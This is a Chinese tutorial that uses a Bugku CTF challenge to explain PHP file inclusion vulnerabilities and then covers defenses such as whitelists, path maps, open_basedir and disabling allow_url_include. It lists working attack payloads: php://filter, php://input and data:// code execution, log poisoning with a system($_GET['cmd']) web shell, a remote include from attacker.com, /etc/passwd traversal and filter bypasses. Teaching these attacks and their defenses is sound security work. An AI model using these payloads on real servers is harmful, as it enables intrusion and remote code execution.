文件包含漏洞深度解析：从CTF入门到实战渗透与防御

1. 从一道CTF题看文件包含漏洞的本质

最近在带新人复盘一些经典的Web安全入门靶场，Bugku上的那道“文件包含”题被反复提及。这道题本身难度不高，但就像一块敲门砖，精准地砸在了Web安全中一个既基础又危险的概念上——文件包含漏洞。很多刚入门的朋友，解出这道题后可能只记住了“用php://filter读源码”这个操作，但对漏洞为何会产生、在真实场景中如何利用、以及如何防御，依然一知半解。今天，我们就以这道题为引子，彻底拆解文件包含漏洞，从CTF的解题技巧聊到实战渗透中的利用链，最后再谈谈开发层面如何根治这个问题。

文件包含，听名字像是开发中的一个正常功能。PHP、JSP等语言为了代码复用，提供了include、require这类函数，允许脚本动态引入另一个文件。设想一个网站，头部导航栏、底部版权信息都是固定的，难道每个页面都复制粘贴一遍代码吗？显然不是，通常我们会把这些公共部分写成header.php、footer.php，然后在各个页面里包含进来。这本身是优秀的设计。但问题就出在“动态”二字上。如果包含的文件路径，完全或部分由用户输入控制，而开发人员又没有对输入进行严格的过滤，那么攻击者就可以通过操控这个路径，让服务器去包含一个他本不该包含的文件，漏洞就此产生。

Bugku这道题的环境，就是一个典型的、存在本地文件包含漏洞的场景。你通过一个参数，比如?file=，就能让服务器去读取并执行（或显示）指定的文件。解题的常规思路，自然是去读取关键文件获取flag，比如index.php的源码、flag.php的源码，或者系统的/etc/passwd等。这道题的价值，在于它用最简化的模型，让你直观感受到了“用户输入控制文件路径”所带来的破坏力。接下来，我们要做的，就是把这个简单的模型，放到更复杂、更贴近实战的环境中去审视。

2. 漏洞原理深度剖析：不仅仅是“读文件”

很多人把文件包含漏洞简单理解为“任意文件读取”，这其实低估了它的危险性。根据包含函数的行为和配置，它的影响可以从信息泄露一路升级到远程代码执行。我们通常将其分为两类：本地文件包含和远程文件包含。

2.1 本地文件包含：权限内的“为所欲为”

本地文件包含是指包含的文件位于服务器本地。就像Bugku题目模拟的那样，攻击者通过漏洞可以读取Web目录下的源码，甚至利用目录遍历跳出Web目录，读取系统敏感文件。

关键点在于包含后的处理：如果被包含的文件内容会被当作PHP代码执行（例如通过include包含了一个.txt文件，但该文件内容是<?php phpinfo(); ?>），那么危害就急剧上升。这就引出了“日志文件注入”、“Session文件包含”等高级利用技巧。例如，如果服务器记录了访问日志，并且你能控制一部分日志内容（比如User-Agent字段），你就可以将PHP代码写入日志文件，然后通过LFI漏洞去包含这个日志文件，从而执行代码。

注意：能否执行代码，取决于服务器的配置。如果allow_url_include为Off，且被包含的非PHP文件内容不会被解析执行，那么LFI可能就仅限于文件读取。但在实战信息收集中，能读到源码或配置文件，往往已经能打开突破口。

2.2 远程文件包含：打开潘多拉魔盒

远程文件包含更危险，它允许包含的路径是一个URL（如http://attacker.com/shell.txt）。当allow_url_fopen和allow_url_include配置项开启时，PHP会去请求这个URL，并将返回的内容包含进来执行。这意味着攻击者可以直接将自己的恶意脚本托管在远程服务器上，让目标服务器下载并执行，实现一键getshell。

RFI的利用条件相对苛刻，在现代PHP版本默认配置下通常是不允许的。因此，现在的CTF和实战中，更常见的是利用各种“伪协议”和本地文件包含的“巧劲”来达到类似效果。

2.3 PHP伪协议：文件包含的“瑞士军刀”

PHP提供了一系列封装协议，在文件包含的利用中扮演着核心角色。理解它们是进阶的关键：

1. php://filter（读取/编码）：这是CTF中最常见的协议。它用于读取文件源码，特别是当文件被包含后直接执行，看不到源码时。通过read和convert过滤器，我们可以对数据进行编码。

   • 读取源码：?file=php://filter/read=convert.base64-encode/resource=index.php
   • 这里，resource指定要读取的文件，convert.base64-encode过滤器将文件内容进行Base64编码后输出。因为编码后的内容不是有效的PHP代码，所以不会被服务器执行，而是以文本形式显示，我们解码后就能得到源码。这是绕过“代码执行”看到源码的经典方法。
   • 其他过滤器：如string.rot13、zlib.deflate等，有时用于绕过一些简单的过滤。

2. php://input（执行POST代码）：这个协议允许你访问请求的原始数据流。当allow_url_include开启时，可以配合POST请求直接执行PHP代码。

   • 利用方式：?file=php://input，并在POST Body中写入<?php system('whoami'); ?>。
   • 服务器会将POST Body的内容当作file参数指定的文件内容来包含并执行。这是一个非常直接的代码执行方式。

3. data://（数据流直接包含）：同样需要allow_url_include开启。它允许直接包含一段Base64编码的数据。

   • 利用方式：?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==
   • 等号后的部分就是<?php system('whoami');?>的Base64编码。服务器会解码并执行这段代码。

4. zip:///phar://（压缩包内文件包含）：这两个协议常用于绕过文件上传限制。如果你能上传一个ZIP或PHAR压缩包，并且服务器存在文件包含漏洞，你就可以直接包含压缩包内的PHP文件。

   • 利用方式：制作一个包含shell.php的ZIP包，重命名为shell.jpg上传。然后包含：?file=zip:///path/to/uploads/shell.jpg%23shell.php（注意#需要URL编码为%23）。
   • phar://协议用法类似，且支持更多压缩格式。

3. 实战利用链构建：从漏洞到突破口

在真实的渗透测试中，文件包含漏洞很少孤立存在。它通常是一个支点，用来撬动更大的攻击面。下面是一个典型的利用链条：

场景：一个网站存在本地文件包含漏洞，参数为?page=about.php。

1. 信息收集：

   • 首先，尝试包含/etc/passwd确认漏洞存在及路径遍历能力：?page=../../../../etc/passwd。
   • 包含Web应用自身的配置文件，如config.php、database.php，寻找数据库连接密码、API密钥等敏感信息。
   • 包含日志文件，如Apache的access.log或error.log。这需要知道日志的绝对路径，可以通过报错信息、常见路径猜测或读取配置文件获得。

2. 日志注入与代码执行：

   • 如果找到了日志文件路径（例如/var/log/apache2/access.log），并且该文件Web用户可读，就可以进行注入。
   • 在HTTP请求中，将User-Agent修改为PHP代码：<?php system($_GET['cmd']); ?>。
   • 然后，通过LFI包含这个日志文件：?page=../../../../var/log/apache2/access.log&cmd=id。
   • 服务器会读取日志文件，并将其中我们注入的User-Agent部分当作PHP代码执行，从而执行id命令。

3. 利用文件上传组合拳：

   • 如果网站同时存在文件上传功能，但限制了后缀（如只允许.jpg,.png），我们可以上传一个图片马（在图片末尾附加PHP代码）。
   • 单纯的图片马，服务器不会解析其中的PHP代码。但结合文件包含漏洞，我们可以通过包含这个图片文件来执行代码。例如：?page=./uploads/evil.jpg。只要包含后的内容被当作PHP解析，图片末尾的代码就会被执行。
   • 更隐蔽的方式是结合zip://或phar://协议。

4. Session文件包含：

   • PHP的Session数据通常存储在服务器临时目录的文件中（如/tmp/sess_[sessionid]）。
   • Session文件内容部分可控（例如，我们可以通过网站功能设置$_SESSION['name']为PHP代码）。
   • 如果我们能预测或获取到Session文件的路径和名称，就可以通过LFI包含它来执行代码。这需要一些条件，但在特定场景下非常有效。

4. 防御方案与安全开发实践

理解了攻击，防御的思路就清晰了。核心原则就是：不要信任任何用户输入，特别是用于决定文件路径的输入。

4.1 白名单策略：最有效的方法

绝对不要使用黑名单过滤../、http://等，绕过方法太多。应该采用白名单机制。

// 安全的做法 $allowed_pages = ['home.php', 'about.php', 'contact.php']; $page = $_GET['page']; if (in_array($page, $allowed_pages)) { include('./templates/' . $page); } else { include('./templates/404.php'); }

将允许包含的文件名限定在一个预定义的数组里，任何不在名单内的请求都返回错误或默认页面。

4.2 硬编码或映射文件路径

如果必须动态包含，也应避免直接拼接用户输入。

// 不安全的做法 $file = $_GET['module'] . '.php'; include($file); // 相对安全的做法：使用映射 $module_map = [ 'user' => 'modules/user_profile.php', 'product' => 'modules/product_list.php', ]; $module = $_GET['module']; if (array_key_exists($module, $module_map)) { include($module_map[$module]); }

通过一个预先定义好的映射数组，将用户输入转换为内部确定的文件路径。

4.3 设置PHP安全配置

• open_basedir：将PHP可访问的文件限制在指定的目录树中，可以有效防止目录遍历攻击到系统关键区域。
• allow_url_include：务必设置为Off。这是阻止远程文件包含的最直接配置。
• allow_url_fopen：根据业务需要谨慎开启。如果不需要从远程URL获取数据，建议关闭。

4.4 对输入进行严格过滤和校验

如果白名单不可行（在一些老旧或复杂系统中），必须进行严格过滤：

• 去除目录遍历字符：str_replace('../', '', $input)这种简单替换可以被....//绕过（../被去掉后变成../）。应使用更严格的循环过滤或正则表达式。
• 确保文件后缀正确，且路径被固定在某个安全基目录下。
• 示例（仍不如白名单安全，但稍好）：

  $base_dir = '/var/www/html/includes/'; $file = $_GET['file']; // 防止空字节攻击（PHP<5.3.4）和目录遍历 $file = str_replace(['../', '..\\', chr(0)], '', $file); $full_path = realpath($base_dir . $file); // 确保最终路径仍在基目录内 if (strpos($full_path, realpath($base_dir)) === 0 && is_file($full_path)) { include($full_path); }

4.5 其他安全建议

• 关闭错误回显：避免通过报错信息泄露服务器绝对路径。
• 使用安全的文件包含函数：如考虑使用require_once避免重复包含问题，但核心还是路径安全。
• 代码审计：定期对代码进行安全审计，特别是查找所有include,require,include_once,require_once函数，检查其参数是否可控。
• Web应用防火墙：部署WAF可以拦截一些常见的文件包含攻击payload。

5. 从CTF到实战的思维转变

回过头看Bugku那道题，它给我们的是一个最纯净的漏洞模型。实战中，情况要复杂得多：

1. 过滤与绕过：实战系统往往有简单的过滤，比如过滤../、http、php等关键词。这就需要我们掌握各种绕过技巧：双写绕过（..././）、编码绕过（URL编码、Unicode编码）、超长路径截断（在特定PHP版本下）、利用file协议、SMB共享等。在DVWA靶场的文件包含关卡中，就能系统地练习这些绕过。

2. 路径发现：CTF常常直接给flag路径，实战中你需要自己找。读取/proc/self/environ（环境变量）、/proc/self/fd/（文件描述符）、通过报错信息、读取配置文件、利用PHP的realpath函数特性等，都是发现绝对路径的方法。

3. 利用链思维：不要指望一个文件包含直接拿到shell。它可能只是帮你读到数据库密码，进而渗透内网；或者包含到日志，写入一句话木马；或者配合上传点，获得代码执行。建立这种“由点到面”的思维至关重要。

4. 工具使用：手工测试是基础，但效率工具能帮你更快。比如Burp Suite的Intruder模块可以用于模糊测试包含路径；ffuf、gobuster等目录爆破工具可以用来寻找可能的包含文件；一些自动化扫描器也能检测文件包含漏洞，但理解原理后的手工测试和利用，才是渗透测试师的精髓。

文件包含漏洞就像一把钥匙，它本身可能不起眼，但一旦插对了锁孔，就能打开通往服务器内部的大门。从理解Bugku那道简单的题目开始，一步步深入到伪协议、利用链和防御方案，这个过程正是Web安全学习的缩影：从点到线，从线到面，最终构建起自己的知识体系和实战能力。下次再遇到包含漏洞，希望你能看到的不仅仅是一个flag，而是一个潜在的、可供深入探索的攻击入口。